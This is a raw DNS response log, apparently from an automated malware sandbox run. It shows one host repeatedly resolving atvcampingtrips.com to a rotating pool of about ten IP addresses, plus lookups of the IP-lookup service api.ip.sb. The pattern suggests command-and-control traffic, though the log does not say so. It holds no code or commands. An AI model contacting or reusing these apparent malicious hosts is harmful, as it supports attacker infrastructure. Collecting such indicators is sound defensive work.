Aug 19, 2021 07:53:06.831361055 CEST	8.8.8.8	192.168.2.7	0x15ed	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:06.831361055 CEST	8.8.8.8	192.168.2.7	0x15ed	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:06.831361055 CEST	8.8.8.8	192.168.2.7	0x15ed	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:07.262461901 CEST	8.8.8.8	192.168.2.7	0x1461	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:07.262461901 CEST	8.8.8.8	192.168.2.7	0x1461	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:07.262461901 CEST	8.8.8.8	192.168.2.7	0x1461	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:07.262461901 CEST	8.8.8.8	192.168.2.7	0x1461	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:07.262461901 CEST	8.8.8.8	192.168.2.7	0x1461	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:07.262461901 CEST	8.8.8.8	192.168.2.7	0x1461	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:07.262461901 CEST	8.8.8.8	192.168.2.7	0x1461	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:07.262461901 CEST	8.8.8.8	192.168.2.7	0x1461	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:07.262461901 CEST	8.8.8.8	192.168.2.7	0x1461	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:07.262461901 CEST	8.8.8.8	192.168.2.7	0x1461	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:08.799905062 CEST	8.8.8.8	192.168.2.7	0xc9d1	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:08.799905062 CEST	8.8.8.8	192.168.2.7	0xc9d1	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:08.799905062 CEST	8.8.8.8	192.168.2.7	0xc9d1	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:08.799905062 CEST	8.8.8.8	192.168.2.7	0xc9d1	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:08.799905062 CEST	8.8.8.8	192.168.2.7	0xc9d1	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:08.799905062 CEST	8.8.8.8	192.168.2.7	0xc9d1	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:08.799905062 CEST	8.8.8.8	192.168.2.7	0xc9d1	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:08.799905062 CEST	8.8.8.8	192.168.2.7	0xc9d1	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:08.799905062 CEST	8.8.8.8	192.168.2.7	0xc9d1	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:08.799905062 CEST	8.8.8.8	192.168.2.7	0xc9d1	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:09.091101885 CEST	8.8.8.8	192.168.2.7	0x14b6	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:09.091101885 CEST	8.8.8.8	192.168.2.7	0x14b6	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:09.091101885 CEST	8.8.8.8	192.168.2.7	0x14b6	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:09.091101885 CEST	8.8.8.8	192.168.2.7	0x14b6	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:09.091101885 CEST	8.8.8.8	192.168.2.7	0x14b6	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:09.091101885 CEST	8.8.8.8	192.168.2.7	0x14b6	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:09.091101885 CEST	8.8.8.8	192.168.2.7	0x14b6	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:09.091101885 CEST	8.8.8.8	192.168.2.7	0x14b6	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:09.091101885 CEST	8.8.8.8	192.168.2.7	0x14b6	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:09.091101885 CEST	8.8.8.8	192.168.2.7	0x14b6	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:10.149158955 CEST	8.8.8.8	192.168.2.7	0x50c8	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:10.149158955 CEST	8.8.8.8	192.168.2.7	0x50c8	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:10.149158955 CEST	8.8.8.8	192.168.2.7	0x50c8	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:10.149158955 CEST	8.8.8.8	192.168.2.7	0x50c8	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:10.149158955 CEST	8.8.8.8	192.168.2.7	0x50c8	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:10.149158955 CEST	8.8.8.8	192.168.2.7	0x50c8	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:10.149158955 CEST	8.8.8.8	192.168.2.7	0x50c8	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:10.149158955 CEST	8.8.8.8	192.168.2.7	0x50c8	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:10.149158955 CEST	8.8.8.8	192.168.2.7	0x50c8	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:10.149158955 CEST	8.8.8.8	192.168.2.7	0x50c8	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.655626059 CEST	8.8.8.8	192.168.2.7	0x57cf	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.655626059 CEST	8.8.8.8	192.168.2.7	0x57cf	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.655626059 CEST	8.8.8.8	192.168.2.7	0x57cf	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.655626059 CEST	8.8.8.8	192.168.2.7	0x57cf	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.655626059 CEST	8.8.8.8	192.168.2.7	0x57cf	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.655626059 CEST	8.8.8.8	192.168.2.7	0x57cf	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.655626059 CEST	8.8.8.8	192.168.2.7	0x57cf	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.655626059 CEST	8.8.8.8	192.168.2.7	0x57cf	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.655626059 CEST	8.8.8.8	192.168.2.7	0x57cf	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.655626059 CEST	8.8.8.8	192.168.2.7	0x57cf	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.921117067 CEST	8.8.8.8	192.168.2.7	0x67d4	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.921117067 CEST	8.8.8.8	192.168.2.7	0x67d4	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.921117067 CEST	8.8.8.8	192.168.2.7	0x67d4	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.921117067 CEST	8.8.8.8	192.168.2.7	0x67d4	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.921117067 CEST	8.8.8.8	192.168.2.7	0x67d4	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.921117067 CEST	8.8.8.8	192.168.2.7	0x67d4	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.921117067 CEST	8.8.8.8	192.168.2.7	0x67d4	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.921117067 CEST	8.8.8.8	192.168.2.7	0x67d4	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.921117067 CEST	8.8.8.8	192.168.2.7	0x67d4	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.921117067 CEST	8.8.8.8	192.168.2.7	0x67d4	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:13.402523994 CEST	8.8.8.8	192.168.2.7	0x2b7	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:13.402523994 CEST	8.8.8.8	192.168.2.7	0x2b7	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:13.402523994 CEST	8.8.8.8	192.168.2.7	0x2b7	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:13.402523994 CEST	8.8.8.8	192.168.2.7	0x2b7	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:13.402523994 CEST	8.8.8.8	192.168.2.7	0x2b7	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:13.402523994 CEST	8.8.8.8	192.168.2.7	0x2b7	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:13.402523994 CEST	8.8.8.8	192.168.2.7	0x2b7	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:13.402523994 CEST	8.8.8.8	192.168.2.7	0x2b7	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:13.402523994 CEST	8.8.8.8	192.168.2.7	0x2b7	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:13.402523994 CEST	8.8.8.8	192.168.2.7	0x2b7	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:34.940872908 CEST	8.8.8.8	192.168.2.7	0x7c5b	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:34.940872908 CEST	8.8.8.8	192.168.2.7	0x7c5b	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:34.940872908 CEST	8.8.8.8	192.168.2.7	0x7c5b	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:34.940872908 CEST	8.8.8.8	192.168.2.7	0x7c5b	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:34.940872908 CEST	8.8.8.8	192.168.2.7	0x7c5b	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:34.940872908 CEST	8.8.8.8	192.168.2.7	0x7c5b	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:34.940872908 CEST	8.8.8.8	192.168.2.7	0x7c5b	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:34.940872908 CEST	8.8.8.8	192.168.2.7	0x7c5b	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:34.940872908 CEST	8.8.8.8	192.168.2.7	0x7c5b	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:34.940872908 CEST	8.8.8.8	192.168.2.7	0x7c5b	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.177560091 CEST	8.8.8.8	192.168.2.7	0x81e	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.177560091 CEST	8.8.8.8	192.168.2.7	0x81e	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.177560091 CEST	8.8.8.8	192.168.2.7	0x81e	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.177560091 CEST	8.8.8.8	192.168.2.7	0x81e	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.177560091 CEST	8.8.8.8	192.168.2.7	0x81e	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.177560091 CEST	8.8.8.8	192.168.2.7	0x81e	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.177560091 CEST	8.8.8.8	192.168.2.7	0x81e	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.177560091 CEST	8.8.8.8	192.168.2.7	0x81e	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.177560091 CEST	8.8.8.8	192.168.2.7	0x81e	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.177560091 CEST	8.8.8.8	192.168.2.7	0x81e	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.529707909 CEST	8.8.8.8	192.168.2.7	0x770a	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.529707909 CEST	8.8.8.8	192.168.2.7	0x770a	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.529707909 CEST	8.8.8.8	192.168.2.7	0x770a	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.529707909 CEST	8.8.8.8	192.168.2.7	0x770a	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.529707909 CEST	8.8.8.8	192.168.2.7	0x770a	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.529707909 CEST	8.8.8.8	192.168.2.7	0x770a	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.529707909 CEST	8.8.8.8	192.168.2.7	0x770a	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.529707909 CEST	8.8.8.8	192.168.2.7	0x770a	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.529707909 CEST	8.8.8.8	192.168.2.7	0x770a	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.529707909 CEST	8.8.8.8	192.168.2.7	0x770a	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.805682898 CEST	8.8.8.8	192.168.2.7	0x198f	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.805682898 CEST	8.8.8.8	192.168.2.7	0x198f	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.805682898 CEST	8.8.8.8	192.168.2.7	0x198f	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.805682898 CEST	8.8.8.8	192.168.2.7	0x198f	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.805682898 CEST	8.8.8.8	192.168.2.7	0x198f	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.805682898 CEST	8.8.8.8	192.168.2.7	0x198f	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.805682898 CEST	8.8.8.8	192.168.2.7	0x198f	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.805682898 CEST	8.8.8.8	192.168.2.7	0x198f	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.805682898 CEST	8.8.8.8	192.168.2.7	0x198f	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.805682898 CEST	8.8.8.8	192.168.2.7	0x198f	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:36.109738111 CEST	8.8.8.8	192.168.2.7	0x1588	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:36.109738111 CEST	8.8.8.8	192.168.2.7	0x1588	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:36.109738111 CEST	8.8.8.8	192.168.2.7	0x1588	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:36.109738111 CEST	8.8.8.8	192.168.2.7	0x1588	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:36.109738111 CEST	8.8.8.8	192.168.2.7	0x1588	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:36.109738111 CEST	8.8.8.8	192.168.2.7	0x1588	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:36.109738111 CEST	8.8.8.8	192.168.2.7	0x1588	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:36.109738111 CEST	8.8.8.8	192.168.2.7	0x1588	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:36.109738111 CEST	8.8.8.8	192.168.2.7	0x1588	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:36.109738111 CEST	8.8.8.8	192.168.2.7	0x1588	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.574498892 CEST	8.8.8.8	192.168.2.7	0x1fc8	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.574498892 CEST	8.8.8.8	192.168.2.7	0x1fc8	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.574498892 CEST	8.8.8.8	192.168.2.7	0x1fc8	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.574498892 CEST	8.8.8.8	192.168.2.7	0x1fc8	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.574498892 CEST	8.8.8.8	192.168.2.7	0x1fc8	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.574498892 CEST	8.8.8.8	192.168.2.7	0x1fc8	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.574498892 CEST	8.8.8.8	192.168.2.7	0x1fc8	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.574498892 CEST	8.8.8.8	192.168.2.7	0x1fc8	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.574498892 CEST	8.8.8.8	192.168.2.7	0x1fc8	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.574498892 CEST	8.8.8.8	192.168.2.7	0x1fc8	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.857215881 CEST	8.8.8.8	192.168.2.7	0x7d65	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.857215881 CEST	8.8.8.8	192.168.2.7	0x7d65	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.857215881 CEST	8.8.8.8	192.168.2.7	0x7d65	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.857215881 CEST	8.8.8.8	192.168.2.7	0x7d65	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.857215881 CEST	8.8.8.8	192.168.2.7	0x7d65	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.857215881 CEST	8.8.8.8	192.168.2.7	0x7d65	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.857215881 CEST	8.8.8.8	192.168.2.7	0x7d65	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.857215881 CEST	8.8.8.8	192.168.2.7	0x7d65	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.857215881 CEST	8.8.8.8	192.168.2.7	0x7d65	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.857215881 CEST	8.8.8.8	192.168.2.7	0x7d65	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:38.533412933 CEST	8.8.8.8	192.168.2.7	0x713d	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Aug 19, 2021 07:53:38.588766098 CEST	8.8.8.8	192.168.2.7	0xeb18	No error (0)	api.ip.sb	api.ip.sb.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)
Aug 19, 2021 07:53:43.038489103 CEST	8.8.8.8	192.168.2.7	0xa39f	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.038489103 CEST	8.8.8.8	192.168.2.7	0xa39f	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.038489103 CEST	8.8.8.8	192.168.2.7	0xa39f	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.038489103 CEST	8.8.8.8	192.168.2.7	0xa39f	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.038489103 CEST	8.8.8.8	192.168.2.7	0xa39f	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.038489103 CEST	8.8.8.8	192.168.2.7	0xa39f	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.038489103 CEST	8.8.8.8	192.168.2.7	0xa39f	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.038489103 CEST	8.8.8.8	192.168.2.7	0xa39f	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.038489103 CEST	8.8.8.8	192.168.2.7	0xa39f	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.038489103 CEST	8.8.8.8	192.168.2.7	0xa39f	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.314250946 CEST	8.8.8.8	192.168.2.7	0x1623	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.314250946 CEST	8.8.8.8	192.168.2.7	0x1623	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.314250946 CEST	8.8.8.8	192.168.2.7	0x1623	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.314250946 CEST	8.8.8.8	192.168.2.7	0x1623	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.314250946 CEST	8.8.8.8	192.168.2.7	0x1623	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.314250946 CEST	8.8.8.8	192.168.2.7	0x1623	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.314250946 CEST	8.8.8.8	192.168.2.7	0x1623	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.314250946 CEST	8.8.8.8	192.168.2.7	0x1623	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.314250946 CEST	8.8.8.8	192.168.2.7	0x1623	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.314250946 CEST	8.8.8.8	192.168.2.7	0x1623	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.564177036 CEST	8.8.8.8	192.168.2.7	0x1c14	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.564177036 CEST	8.8.8.8	192.168.2.7	0x1c14	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.564177036 CEST	8.8.8.8	192.168.2.7	0x1c14	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.564177036 CEST	8.8.8.8	192.168.2.7	0x1c14	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.564177036 CEST	8.8.8.8	192.168.2.7	0x1c14	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.564177036 CEST	8.8.8.8	192.168.2.7	0x1c14	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.564177036 CEST	8.8.8.8	192.168.2.7	0x1c14	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
